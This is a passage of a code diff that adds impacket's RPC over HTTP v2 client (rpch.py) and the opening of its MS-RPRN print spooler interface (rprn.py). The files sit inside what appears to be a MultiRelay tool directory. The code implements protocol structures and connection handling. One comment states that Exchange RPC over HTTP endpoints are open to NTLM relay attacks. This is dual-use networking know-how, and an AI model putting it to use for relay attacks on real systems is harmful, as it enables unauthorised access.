def hRfrGetFQDNFromServerDN(dce, szMailboxServerDN):
szMailboxServerDN = checkNullString(szMailboxServerDN)
request = RfrGetFQDNFromServerDN()
request['ulFlags'] = 0
request['szMailboxServerDN'] = szMailboxServerDN
request['cbMailboxServerDN'] = len(szMailboxServerDN)
resp = dce.request(request)
resp['ppszServerFQDN'] = resp['ppszServerFQDN'][:-1]
return resp

846
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/rpch.py Normal file
View File

@@ -0,0 +1,846 @@
# SECUREAUTH LABS. Copyright 2020 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Initial [MS-RCPH] Interface implementation
#
# Authors:
# Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)
#
import re
import binascii
from struct import unpack
from impacket import uuid, ntlm, system_errors, nt_errors, LOG
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import EMPTY_UUID
from impacket.http import HTTPClientSecurityProvider, AUTH_BASIC
from impacket.structure import Structure
from impacket.dcerpc.v5.rpcrt import MSRPCHeader, \
MSRPC_RTS, PFC_FIRST_FRAG, PFC_LAST_FRAG
class RPCProxyClientException(DCERPCException):
parser = re.compile(r'RPC Error: ([a-fA-F0-9]{1,8})')
def __init__(self, error_string=None, proxy_error=None):
rpc_error_code = None
if proxy_error is not None:
try:
search = self.parser.search(proxy_error)
rpc_error_code = int(search.group(1), 16)
except:
error_string += ': ' + proxy_error
DCERPCException.__init__(self, error_string, rpc_error_code)
def __str__(self):
if self.error_code is not None:
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
return '%s, code: 0x%x - %s' % (self.error_string, self.error_code, error_msg_short)
elif key in nt_errors.ERROR_MESSAGES:
error_msg_short = nt_errors.ERROR_MESSAGES[key][0]
return '%s, code: 0x%x - %s' % (self.error_string, self.error_code, error_msg_short)
else:
return '%s: unknown code: 0x%x' % (self.error_string, self.error_code)
else:
return self.error_string
################################################################################
# CONSTANTS
################################################################################
RPC_OVER_HTTP_v1 = 1
RPC_OVER_HTTP_v2 = 2
# Errors which might need handling
# RPCProxyClient internal errors
RPC_PROXY_REMOTE_NAME_NEEDED_ERR = 'Basic authentication in RPC proxy is used, ' \
'so coudn\'t obtain a target NetBIOS name from NTLMSSP to connect.'
# Errors below contain a part of server responses
RPC_PROXY_INVALID_RPC_PORT_ERR = 'Invalid RPC Port'
RPC_PROXY_CONN_A1_0X6BA_ERR = 'RPC Proxy CONN/A1 request failed, code: 0x6ba'
RPC_PROXY_CONN_A1_404_ERR = 'CONN/A1 request failed: HTTP/1.1 404 Not Found'
RPC_PROXY_RPC_OUT_DATA_404_ERR = 'RPC_OUT_DATA channel: HTTP/1.1 404 Not Found'
RPC_PROXY_CONN_A1_401_ERR = 'CONN/A1 request failed: HTTP/1.1 401 Unauthorized'
RPC_PROXY_HTTP_IN_DATA_401_ERR = 'RPC_IN_DATA channel: HTTP/1.1 401 Unauthorized'
# 2.2.3.3 Forward Destinations
FDClient = 0x00000000
FDInProxy = 0x00000001
FDServer = 0x00000002
FDOutProxy = 0x00000003
RTS_FLAG_NONE = 0x0000
RTS_FLAG_PING = 0x0001
RTS_FLAG_OTHER_CMD = 0x0002
RTS_FLAG_RECYCLE_CHANNEL = 0x0004
RTS_FLAG_IN_CHANNEL = 0x0008
RTS_FLAG_OUT_CHANNEL = 0x0010
RTS_FLAG_EOF = 0x0020
RTS_FLAG_ECHO = 0x0040
# 2.2.3.5 RTS Commands
RTS_CMD_RECEIVE_WINDOW_SIZE = 0x00000000
RTS_CMD_FLOW_CONTROL_ACK = 0x00000001
RTS_CMD_CONNECTION_TIMEOUT = 0x00000002
RTS_CMD_COOKIE = 0x00000003
RTS_CMD_CHANNEL_LIFETIME = 0x00000004
RTS_CMD_CLIENT_KEEPALIVE = 0x00000005
RTS_CMD_VERSION = 0x00000006
RTS_CMD_EMPTY = 0x00000007
RTS_CMD_PADDING = 0x00000008
RTS_CMD_NEGATIVE_ANCE = 0x00000009
RTS_CMD_ANCE = 0x0000000A
RTS_CMD_CLIENT_ADDRESS = 0x0000000B
RTS_CMD_ASSOCIATION_GROUP_ID = 0x0000000C
RTS_CMD_DESTINATION = 0x0000000D
RTS_CMD_PING_TRAFFIC_SENT_NOTIFY = 0x0000000E
################################################################################
# STRUCTURES
################################################################################
# 2.2.3.1 RTS Cookie
class RTSCookie(Structure):
structure = (
('Cookie','16s=b"\\x00"*16'),
)
# 2.2.3.2 Client Address
class EncodedClientAddress(Structure):
structure = (
('AddressType','<L=(0 if len(ClientAddress) == 4 else 1)'),
('_ClientAddress','_-ClientAddress','4 if AddressType == 0 else 16'),
('ClientAddress',':'),
('Padding','12s=b"\\x00"*12'),
)
# 2.2.3.4 Flow Control Acknowledgment
class Ack(Structure):
structure = (
('BytesReceived','<L=0'),
('AvailableWindow','<L=0'),
('ChannelCookie',':',RTSCookie),
)
# 2.2.3.5.1 ReceiveWindowSize
class ReceiveWindowSize(Structure):
structure = (
('CommandType','<L=0'),
('ReceiveWindowSize','<L=262144'),
)
# 2.2.3.5.2 FlowControlAck
class FlowControlAck(Structure):
structure = (
('CommandType','<L=1'),
('Ack',':',Ack),
)
# 2.2.3.5.3 ConnectionTimeout
class ConnectionTimeout(Structure):
structure = (
('CommandType','<L=2'),
('ConnectionTimeout','<L=120000'),
)
# 2.2.3.5.4 Cookie
class Cookie(Structure):
structure = (
('CommandType','<L=3'),
('Cookie',':',RTSCookie),
)
# 2.2.3.5.5 ChannelLifetime
class ChannelLifetime(Structure):
structure = (
('CommandType','<L=4'),
('ChannelLifetime','<L=1073741824'),
)
# 2.2.3.5.6 ClientKeepalive
#
# By the spec, ClientKeepalive value can be 0 or in the inclusive
# range of 60,000 through 4,294,967,295.
# If it is 0, it MUST be interpreted as 300,000.
#
# But do not set it to 0, it will cause 0x6c0 rpc error.
class ClientKeepalive(Structure):
structure = (
('CommandType','<L=5'),
('ClientKeepalive','<L=300000'),
)
# 2.2.3.5.7 Version
class Version(Structure):
structure = (
('CommandType','<L=6'),
('Version','<L=1'),
)
# 2.2.3.5.8 Empty
class Empty(Structure):
structure = (
('CommandType','<L=7'),
)
# 2.2.3.5.9 Padding
class Padding(Structure):
structure = (
('CommandType','<L=8'),
('ConformanceCount','<L=len(Padding)'),
('Padding','*ConformanceCount'),
)
# 2.2.3.5.10 NegativeANCE
class NegativeANCE(Structure):
structure = (
('CommandType','<L=9'),
)
# 2.2.3.5.11 ANCE
class ANCE(Structure):
structure = (
('CommandType','<L=0xA'),
)
# 2.2.3.5.12 ClientAddress
class ClientAddress(Structure):
structure = (
('CommandType','<L=0xB'),
('ClientAddress',':',EncodedClientAddress),
)
# 2.2.3.5.13 AssociationGroupId
class AssociationGroupId(Structure):
structure = (
('CommandType','<L=0xC'),
('AssociationGroupId',':',RTSCookie),
)
# 2.2.3.5.14 Destination
class Destination(Structure):
structure = (
('CommandType','<L=0xD'),
('Destination','<L'),
)
# 2.2.3.5.15 PingTrafficSentNotify
class PingTrafficSentNotify(Structure):
structure = (
('CommandType','<L=0xE'),
('PingTrafficSent','<L'),
)
COMMANDS = {
0x0: ReceiveWindowSize,
0x1: FlowControlAck,
0x2: ConnectionTimeout,
0x3: Cookie,
0x4: ChannelLifetime,
0x5: ClientKeepalive,
0x6: Version,
0x7: Empty,
0x8: Padding,
0x9: NegativeANCE,
0xA: ANCE,
0xB: ClientAddress,
0xC: AssociationGroupId,
0xD: Destination,
0xE: PingTrafficSentNotify,
}
# 2.2.3.6.1 RTS PDU Header
# The RTS PDU Header has the same layout as the common header of
# the connection-oriented RPC PDU as specified in [C706] section 12.6.1,
# with a few additional requirements around the contents of the header fields.
class RTSHeader(MSRPCHeader):
_SIZE = 20
commonHdr = MSRPCHeader.commonHdr + (
('Flags','<H=0'), # 16
('NumberOfCommands','<H=0'), # 18
)
def __init__(self, data=None, alignment=0):
MSRPCHeader.__init__(self, data, alignment)
self['type'] = MSRPC_RTS
self['flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG
self['auth_length'] = 0
self['call_id'] = 0
# 2.2.4.2 CONN/A1 RTS PDU
#
# The CONN/A1 RTS PDU MUST be sent from the client to the outbound proxy on the OUT channel to
# initiate the establishment of a virtual connection.
class CONN_A1_RTS_PDU(Structure):
structure = (
('Version',':',Version),
('VirtualConnectionCookie',':',Cookie),
('OutChannelCookie',':',Cookie),
('ReceiveWindowSize',':',ReceiveWindowSize),
)
# 2.2.4.5 CONN/B1 RTS PDU
#
# The CONN/B1 RTS PDU MUST be sent from the client to the inbound proxy on the IN channel to
# initiate the establishment of a virtual connection.
class CONN_B1_RTS_PDU(Structure):
structure = (
('Version',':',Version),
('VirtualConnectionCookie',':',Cookie),
('INChannelCookie',':',Cookie),
('ChannelLifetime',':',ChannelLifetime),
('ClientKeepalive',':',ClientKeepalive),
('AssociationGroupId',':',AssociationGroupId),
)
# 2.2.4.4 CONN/A3 RTS PDU
#
# The CONN/A3 RTS PDU MUST be sent from the outbound proxy to the client on the OUT channel to
# continue the establishment of the virtual connection.
class CONN_A3_RTS_PDU(Structure):
structure = (
('ConnectionTimeout',':',ConnectionTimeout),
)
# 2.2.4.9 CONN/C2 RTS PDU
#
# The CONN/C2 RTS PDU MUST be sent from the outbound proxy to the client on the OUT channel to
# notify it that a virtual connection has been established.
class CONN_C2_RTS_PDU(Structure):
structure = (
('Version',':',Version),
('ReceiveWindowSize',':',ReceiveWindowSize),
('ConnectionTimeout',':',ConnectionTimeout),
)
# 2.2.4.51 FlowControlAckWithDestination RTS PDU
class FlowControlAckWithDestination_RTS_PDU(Structure):
structure = (
('Destination',':',Destination),
('FlowControlAck',':',FlowControlAck),
)
################################################################################
# HELPERS
################################################################################
def hCONN_A1(virtualConnectionCookie=EMPTY_UUID, outChannelCookie=EMPTY_UUID, receiveWindowSize=262144):
conn_a1 = CONN_A1_RTS_PDU()
conn_a1['Version'] = Version()
conn_a1['VirtualConnectionCookie'] = Cookie()
conn_a1['VirtualConnectionCookie']['Cookie'] = virtualConnectionCookie
conn_a1['OutChannelCookie'] = Cookie()
conn_a1['OutChannelCookie']['Cookie'] = outChannelCookie
conn_a1['ReceiveWindowSize'] = ReceiveWindowSize()
conn_a1['ReceiveWindowSize']['ReceiveWindowSize'] = receiveWindowSize
packet = RTSHeader()
packet['Flags'] = RTS_FLAG_NONE
packet['NumberOfCommands'] = len(conn_a1.structure)
packet['pduData'] = conn_a1.getData()
return packet.getData()
def hCONN_B1(virtualConnectionCookie=EMPTY_UUID, inChannelCookie=EMPTY_UUID, associationGroupId=EMPTY_UUID):
conn_b1 = CONN_B1_RTS_PDU()
conn_b1['Version'] = Version()
conn_b1['VirtualConnectionCookie'] = Cookie()
conn_b1['VirtualConnectionCookie']['Cookie'] = virtualConnectionCookie
conn_b1['INChannelCookie'] = Cookie()
conn_b1['INChannelCookie']['Cookie'] = inChannelCookie
conn_b1['ChannelLifetime'] = ChannelLifetime()
conn_b1['ClientKeepalive'] = ClientKeepalive()
conn_b1['AssociationGroupId'] = AssociationGroupId()
conn_b1['AssociationGroupId']['AssociationGroupId'] = RTSCookie()
conn_b1['AssociationGroupId']['AssociationGroupId']['Cookie'] = associationGroupId
packet = RTSHeader()
packet['Flags'] = RTS_FLAG_NONE
packet['NumberOfCommands'] = len(conn_b1.structure)
packet['pduData'] = conn_b1.getData()
return packet.getData()
def hFlowControlAckWithDestination(destination, bytesReceived, availableWindow, channelCookie):
rts_pdu = FlowControlAckWithDestination_RTS_PDU()
rts_pdu['Destination'] = Destination()
rts_pdu['Destination']['Destination'] = destination
rts_pdu['FlowControlAck'] = FlowControlAck()
rts_pdu['FlowControlAck']['Ack'] = Ack()
rts_pdu['FlowControlAck']['Ack']['BytesReceived'] = bytesReceived
rts_pdu['FlowControlAck']['Ack']['AvailableWindow'] = availableWindow
# Cookie of the channel for which the traffic received is being acknowledged
rts_pdu['FlowControlAck']['Ack']['ChannelCookie'] = RTSCookie()
rts_pdu['FlowControlAck']['Ack']['ChannelCookie']['Cookie'] = channelCookie
packet = RTSHeader()
packet['Flags'] = RTS_FLAG_OTHER_CMD
packet['NumberOfCommands'] = len(rts_pdu.structure)
packet['pduData'] = rts_pdu.getData()
return packet.getData()
def hPing():
packet = RTSHeader()
packet['Flags'] = RTS_FLAG_PING
return packet.getData()
################################################################################
# CLASSES
################################################################################
class RPCProxyClient(HTTPClientSecurityProvider):
RECV_SIZE = 8192
default_headers = {'User-Agent' : 'MSRPC',
'Cache-Control': 'no-cache',
'Connection' : 'Keep-Alive',
'Expect' : '100-continue',
'Accept' : 'application/rpc',
'Pragma' : 'No-cache'
}
def __init__(self, remoteName=None, dstport=593):
HTTPClientSecurityProvider.__init__(self)
self.__remoteName = remoteName
self.__dstport = dstport
# Chosen auth type
self.__auth_type = None
self.init_state()
def init_state(self):
self.__channels = {}
self.__inChannelCookie = uuid.generate()
self.__outChannelCookie = uuid.generate()
self.__associationGroupId = uuid.generate()
self.__virtualConnectionCookie = uuid.generate()
self.__serverConnectionTimeout = None
self.__serverReceiveWindowSize = None
self.__availableWindowAdvertised = 262144 # 256k
self.__receiverAvailableWindow = self.__availableWindowAdvertised
self.__bytesReceived = 0
self.__serverChunked = False
self.__readBuffer = b''
self.__chunkLeft = 0
self.rts_ping_received = False
def set_proxy_credentials(self, username, password, domain='', lmhash='', nthash=''):
LOG.error("DeprecationWarning: Call to deprecated method set_proxy_credentials (use set_credentials).")
self.set_credentials(username, password, domain, lmhash, nthash)
def set_credentials(self, username, password, domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None):
HTTPClientSecurityProvider.set_credentials(self, username, password,
domain, lmhash, nthash, aesKey, TGT, TGS)
def create_rpc_in_channel(self):
headers = self.default_headers.copy()
headers['Content-Length'] = '1073741824'
self.create_channel('RPC_IN_DATA', headers)
def create_rpc_out_channel(self):
headers = self.default_headers.copy()
headers['Content-Length'] = '76'
self.create_channel('RPC_OUT_DATA', headers)
def create_channel(self, method, headers):
self.__channels[method] = HTTPClientSecurityProvider.connect(self, self._rpcProxyUrl.scheme,
self._rpcProxyUrl.netloc)
auth_headers = HTTPClientSecurityProvider.get_auth_headers(self, self.__channels[method],
method, self._rpcProxyUrl.path, headers)[0]
headers_final = {}
headers_final.update(headers)
headers_final.update(auth_headers)
self.__auth_type = HTTPClientSecurityProvider.get_auth_type(self)
# To connect to an RPC Server, we need to let the RPC Proxy know
# where to connect. The target RPC Server name and its port are passed
# in the query of the HTTP request. The target RPC Server must be the ncacn_http
# service.
#
# The utilized format: /rpc/rpcproxy.dll?RemoteName:RemotePort
#
# For RDG servers, you can specify localhost:3388, but in other cases you cannot
# use localhost as there will be no ACL for it.
#
# To know what RemoteName to use, we rely on Default ACL. It's specified
# in the HKLM\SOFTWARE\Microsoft\Rpc\RpcProxy key:
#
# ValidPorts REG_SZ COMPANYSERVER04:593;COMPANYSERVER04:49152-65535
#
# In this way, we can at least connect to the endpoint mapper on port 593.
# So, if the caller set remoteName to an empty string, we assume the target
# is the RPC Proxy server itself, and get its NetBIOS name from the NTLMSSP.
#
# Interestingly, if the administrator renames the server after RPC Proxy installation
# or joins the server to the domain after RPC Proxy installation, the ACL will remain
# the original. So, sometimes the ValidPorts values have the format WIN-JCKEDQVDOQU, and
# we are not able to use them.
#
# For Exchange servers, the value of the default ACL doesn't matter as they
# allow connections by their own mechanisms:
# - Exchange 2003 / 2007 / 2010 servers add their own ACL, which includes
# NetBIOS names of all Exchange servers (and some other servers).
# This ACL is regularly and automatically updated on each server.
# Allowed ports: 6001-6004
#
# 6001 is used for MS-OXCRPC
# 6002 is used for MS-OXABREF
# 6003 is not used
# 6004 is used for MS-OXNSPI
#
# Tests on Exchange 2010 show that MS-OXNSPI and MS-OXABREF are available
# on both 6002 and 6004.
#
# - Exchange 2013 / 2016 / 2019 servers process RemoteName on their own
# (via RpcProxyShim.dll), and the NetBIOS name format is supported only for
# backward compatibility.
#
# ! Default ACL is never used, so there is no way to connect to the endpoint mapper!
#
# Allowed ports: 6001-6004
#
# 6001 is used for MS-OXCRPC
# 6002 is used for MS-OXABREF
# 6003 is not used
# 6004 is used for MS-OXNSPI
#
# Tests show that all protocols are available on the 6001 / 6002 / 6004 ports via
# RPC over HTTP v2, and the separation is only used for backward compatibility.
#
# The pure ncacn_http endpoint is available only on the 6001 TCP/IP port.
#
# RpcProxyShim.dll allows you to skip authentication on the RPC level to get
# a faster connection, and it makes Exchange 2013 / 2016 / 2019 RPC over HTTP v2
# endpoints vulnerable to NTLM-Relaying attacks.
#
# If the target is Exchange behind Microsoft TMG, you most likely need to specify
# the remote name manually using the value from /autodiscover/autodiscover.xml.
# Note that /autodiscover/autodiscover.xml might not be available with
# a non-outlook User-Agent.
#
# There may be multiple RPC Proxy servers with different NetBIOS names on
# a single external IP. We store the first one's NetBIOS name and use it for all
# the following channels.
# It's acceptable to assume all RPC Proxies have the same ACLs (true for Exchange).
if not self.__remoteName and self.__auth_type == AUTH_BASIC:
raise RPCProxyClientException(RPC_PROXY_REMOTE_NAME_NEEDED_ERR)
if not self.__remoteName:
ntlmssp = self.get_ntlmssp_info()
self.__remoteName = ntlmssp[ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
self._stringbinding.set_network_address(self.__remoteName)
LOG.debug('StringBinding has been changed to %s' % self._stringbinding)
if not self._rpcProxyUrl.query:
query = self.__remoteName + ':' + str(self.__dstport)
self._rpcProxyUrl = self._rpcProxyUrl._replace(query=query)
path = self._rpcProxyUrl.path + '?' + self._rpcProxyUrl.query
self.__channels[method].request(method, path, headers=headers_final)
self._read_100_continue(method)
def _read_100_continue(self, method):
resp = self.__channels[method].sock.recv(self.RECV_SIZE)
while resp.find(b'\r\n\r\n') == -1:
resp += self.__channels[method].sock.recv(self.RECV_SIZE)
# Continue responses can have multiple lines, for example:
#
# HTTP/1.1 100 Continue
# Via: 1.1 FIREWALL1
#
# Don't expect the response to contain "100 Continue\r\n\r\n"
if resp[9:23] != b'100 Continue\r\n':
try:
# The server (IIS) may return localized error messages in
# the first line. Tests shown they are in UTF-8.
resp = resp.split(b'\r\n')[0].decode("UTF-8", errors='replace')
raise RPCProxyClientException('RPC Proxy Client: %s authentication failed in %s channel' %
(self.__auth_type, method), proxy_error=resp)
except (IndexError, KeyError, AttributeError):
raise RPCProxyClientException('RPC Proxy Client: %s authentication failed in %s channel' %
(self.__auth_type, method))
def create_tunnel(self):
# 3.2.1.5.3.1 Connection Establishment
packet = hCONN_A1(self.__virtualConnectionCookie, self.__outChannelCookie, self.__availableWindowAdvertised)
self.get_socket_out().send(packet)
packet = hCONN_B1(self.__virtualConnectionCookie, self.__inChannelCookie, self.__associationGroupId)
self.get_socket_in().send(packet)
resp = self.get_socket_out().recv(self.RECV_SIZE)
while resp.find(b'\r\n\r\n') == -1:
resp += self.get_socket_out().recv(self.RECV_SIZE)
if resp[9:12] != b'200':
try:
# The server (IIS) may return localized error messages in
# the first line. Tests shown they are in UTF-8.
resp = resp.split(b'\r\n')[0].decode("UTF-8", errors='replace')
raise RPCProxyClientException('RPC Proxy CONN/A1 request failed', proxy_error=resp)
except (IndexError, KeyError, AttributeError):
raise RPCProxyClientException('RPC Proxy CONN/A1 request failed')
if b'Transfer-Encoding: chunked' in resp:
self.__serverChunked = True
# If the body is here, let's send it to rpc_out_recv1()
self.__readBuffer = resp[resp.find(b'\r\n\r\n') + 4:]
# Recieving and parsing CONN/A3
conn_a3_rpc = self.rpc_out_read_pkt()
conn_a3_pdu = RTSHeader(conn_a3_rpc)['pduData']
conn_a3 = CONN_A3_RTS_PDU(conn_a3_pdu)
self.__serverConnectionTimeout = conn_a3['ConnectionTimeout']['ConnectionTimeout']
# Recieving and parsing CONN/C2
conn_c2_rpc = self.rpc_out_read_pkt()
conn_c2_pdu = RTSHeader(conn_c2_rpc)['pduData']
conn_c2 = CONN_C2_RTS_PDU(conn_c2_pdu)
self.__serverReceiveWindowSize = conn_c2['ReceiveWindowSize']['ReceiveWindowSize']
def get_socket_in(self):
return self.__channels['RPC_IN_DATA'].sock
def get_socket_out(self):
return self.__channels['RPC_OUT_DATA'].sock
def close_rpc_in_channel(self):
return self.__channels['RPC_IN_DATA'].close()
def close_rpc_out_channel(self):
return self.__channels['RPC_OUT_DATA'].close()
def check_http_error(self, buffer):
if buffer[:22] == b'HTTP/1.0 503 RPC Error':
raise RPCProxyClientException('RPC Proxy request failed', proxy_error=buffer)
def rpc_out_recv1(self, amt=None):
# Read with at most one underlying system call.
# The function MUST return the maximum amt bytes.
#
# Strictly speaking, it may cause more than one read,
# but that is ok, since that is to satisfy the chunked protocol.
sock = self.get_socket_out()
if self.__serverChunked is False:
if len(self.__readBuffer) > 0:
buffer = self.__readBuffer
self.__readBuffer = b''
else:
# Let's read RECV_SIZE bytes and not amt bytes.
# We would need to check the answer for HTTP errors, as
# they can just appear in the middle of the stream.
buffer = sock.recv(self.RECV_SIZE)
self.check_http_error(buffer)
if len(buffer) <= amt:
return buffer
# We received more than we need
self.__readBuffer = buffer[amt:]
return buffer[:amt]
# Check if the previous chunk is still there
if self.__chunkLeft > 0:
# If the previous chunk is still there,
# just give the caller what we already have
if amt >= self.__chunkLeft:
buffer = self.__readBuffer[:self.__chunkLeft]
# We may have recieved a part of a new chunk
self.__readBuffer = self.__readBuffer[self.__chunkLeft + 2:]
self.__chunkLeft = 0
return buffer
else:
buffer = self.__readBuffer[:amt]
self.__readBuffer = self.__readBuffer[amt:]
self.__chunkLeft -= amt
return buffer
# Let's start to process a new chunk
buffer = self.__readBuffer
self.__readBuffer = b''
self.check_http_error(buffer)
# Let's receive a chunk size field which ends with CRLF
# For Microsoft TMG 2010 it can cause more than one read
while buffer.find(b'\r\n') == -1:
buffer += sock.recv(self.RECV_SIZE)
self.check_http_error(buffer)
chunksize = int(buffer[:buffer.find(b'\r\n')], 16)
buffer = buffer[buffer.find(b'\r\n') + 2:]
# Let's read at least our chunk including final CRLF
while len(buffer) - 2 < chunksize:
buffer += sock.recv(chunksize - len(buffer) + 2)
# We should not be using any information from
# the TCP level to determine HTTP boundaries.
# So, we may have received more than we need.
if len(buffer) - 2 > chunksize:
self.__readBuffer = buffer[chunksize + 2:]
buffer = buffer[:chunksize + 2]
# Checking the amt
if len(buffer) - 2 > amt:
self.__chunkLeft = chunksize - amt
# We may have recieved a part of a new chunk before,
# so the concatenation is crucual
self.__readBuffer = buffer[amt:] + self.__readBuffer
return buffer[:amt]
else:
# Removing CRLF
return buffer[:-2]
def send(self, data, forceWriteAndx=0, forceRecv=0):
# We don't use chunked encoding for IN channel as
# Microsoft software is developed this way.
# If you do this, it may fail.
self.get_socket_in().send(data)
def rpc_out_read_pkt(self, handle_rts=False):
while True:
response_data = b''
# Let's receive common RPC header and no more
#
# C706
# 12.4 Common Fields
# Header encodings differ between connectionless and connection-oriented PDUs.
# However, certain fields use common sets of values with a consistent
# interpretation across the two protocols.
#
# This MUST recv MSRPCHeader._SIZE bytes, and not MSRPCRespHeader._SIZE bytes!
#
while len(response_data) < MSRPCHeader._SIZE:
response_data += self.rpc_out_recv1(MSRPCHeader._SIZE - len(response_data))
response_header = MSRPCHeader(response_data)
# frag_len contains the full length of the packet for both
# MSRPC and RTS
frag_len = response_header['frag_len']
# Receiving the full pkt and no more
while len(response_data) < frag_len:
response_data += self.rpc_out_recv1(frag_len - len(response_data))
# We need to do the Flow Control procedures
#
# 3.2.1.1.4
# This protocol specifies that only RPC PDUs are subject to the flow control abstract data
# model. RTS PDUs and the HTTP request and response headers are not subject to flow control.
if response_header['type'] != MSRPC_RTS:
self.flow_control(frag_len)
if handle_rts is True and response_header['type'] == MSRPC_RTS:
self.handle_out_of_sequence_rts(response_data)
else:
return response_data
def recv(self, forceRecv=0, count=0):
return self.rpc_out_read_pkt(handle_rts=True)
def handle_out_of_sequence_rts(self, response_data):
packet = RTSHeader(response_data)
#print("=========== RTS PKT ===========")
#print("RAW: %s" % binascii.hexlify(response_data))
#packet.dump()
#
#pduData = packet['pduData']
#numberOfCommands = packet['NumberOfCommands']
#
#server_cmds = []
#while numberOfCommands > 0:
# numberOfCommands -= 1
#
# cmd_type = unpack('<L', pduData[:4])[0]
# cmd = COMMANDS[cmd_type](pduData)
# server_cmds.append(cmd)
# pduData = pduData[len(cmd):]
#
#for cmd in server_cmds:
# cmd.dump()
#print("=========== / RTS PKT ===========")
# 2.2.4.49 Ping RTS PDU
if packet['Flags'] == RTS_FLAG_PING:
# 3.2.1.2.1 PingTimer
#
# If the SendingChannel is part of a Virtual Connection in the Outbound Proxy or Client roles, the
# SendingChannel maintains a PingTimer that on expiration indicates a PING PDU must be sent to the
# receiving channel. The PING PDU is sent to the receiving channel when no data has been sent within
# half of the value of the KeepAliveInterval.
# As we do not do long-term connections with no data transfer,
# it means something on the server-side is going wrong.
self.rts_ping_received = True
LOG.error("Ping RTS PDU packet received. Is the RPC Server alive?")
# Just in case it's a long operation, let's send PING PDU to IN Channel like in xfreerdp
# It's better to send more than one PING packet as it only 20 bytes long
packet = hPing()
self.send(packet)
self.send(packet)
# 2.2.4.24 OUT_R1/A2 RTS PDU
elif packet['Flags'] == RTS_FLAG_RECYCLE_CHANNEL:
raise RPCProxyClientException("The server requested recycling of a virtual OUT channel, " \
"but this function is not supported!")
# Ignore all other messages, most probably flow control acknowledgments
else:
pass
def flow_control(self, frag_len):
self.__bytesReceived += frag_len
self.__receiverAvailableWindow -= frag_len
if (self.__receiverAvailableWindow < self.__availableWindowAdvertised // 2):
self.__receiverAvailableWindow = self.__availableWindowAdvertised
packet = hFlowControlAckWithDestination(FDOutProxy, self.__bytesReceived,
self.__availableWindowAdvertised, self.__outChannelCookie)
self.send(packet)
def connect(self):
self.create_rpc_in_channel()
self.create_rpc_out_channel()
self.create_tunnel()
def disconnect(self):
self.close_rpc_in_channel()
self.close_rpc_out_channel()
self.init_state()

1687
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/rpcrt.py Normal file
View File

File diff suppressed because it is too large Load Diff

525
tools/MultiRelay/impacket-dev/impacket/dcerpc/v5/rprn.py Normal file
View File

@@ -0,0 +1,525 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# [MS-RPRN] Interface implementation
#
# Best way to learn how to use these calls is to grab the protocol standard
# so you understand what the call does, and then read the test case located
# at https://github.com/SecureAuthCorp/impacket/tree/master/tests/SMB_RPC
#
# Some calls have helper functions, which makes it even easier to use.
# They are located at the end of this file.
# Helper functions start with "h"<name of the call>.
# There are test cases for them too.
#
from impacket import system_errors
from impacket.dcerpc.v5.dtypes import ULONGLONG, UINT, USHORT, LPWSTR, DWORD, ULONG, NULL
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
MSRPC_UUID_RPRN = uuidtup_to_bin(('12345678-1234-ABCD-EF00-0123456789AB', '1.0'))
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'RPRN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'RPRN SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# CONSTANTS
################################################################################
# 2.2.1.1.7 STRING_HANDLE
STRING_HANDLE = LPWSTR
class PSTRING_HANDLE(NDRPOINTER):
referent = (
('Data', STRING_HANDLE),
)
# 2.2.3.1 Access Values
JOB_ACCESS_ADMINISTER = 0x00000010
JOB_ACCESS_READ = 0x00000020
JOB_EXECUTE = 0x00020010
JOB_READ = 0x00020020
JOB_WRITE = 0x00020010
JOB_ALL_ACCESS = 0x000F0030
PRINTER_ACCESS_ADMINISTER = 0x00000004
PRINTER_ACCESS_USE = 0x00000008
PRINTER_ACCESS_MANAGE_LIMITED = 0x00000040
PRINTER_ALL_ACCESS = 0x000F000C
PRINTER_EXECUTE = 0x00020008
PRINTER_READ = 0x00020008
PRINTER_WRITE = 0x00020008
SERVER_ACCESS_ADMINISTER = 0x00000001
SERVER_ACCESS_ENUMERATE = 0x00000002
SERVER_ALL_ACCESS = 0x000F0003
SERVER_EXECUTE = 0x00020002
SERVER_READ = 0x00020002
SERVER_WRITE = 0x00020003
SPECIFIC_RIGHTS_ALL = 0x0000FFFF
STANDARD_RIGHTS_ALL = 0x001F0000
STANDARD_RIGHTS_EXECUTE = 0x00020000
STANDARD_RIGHTS_READ = 0x00020000
STANDARD_RIGHTS_REQUIRED = 0x000F0000
STANDARD_RIGHTS_WRITE = 0x00020000
SYNCHRONIZE = 0x00100000
DELETE = 0x00010000
READ_CONTROL = 0x00020000
WRITE_DAC = 0x00040000
WRITE_OWNER = 0x00080000
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
GENERIC_EXECUTE = 0x20000000
GENERIC_ALL = 0x10000000
# 2.2.3.6.1 Printer Change Flags for Use with a Printer Handle
PRINTER_CHANGE_SET_PRINTER = 0x00000002
PRINTER_CHANGE_DELETE_PRINTER = 0x00000004
PRINTER_CHANGE_PRINTER = 0x000000FF
PRINTER_CHANGE_ADD_JOB = 0x00000100
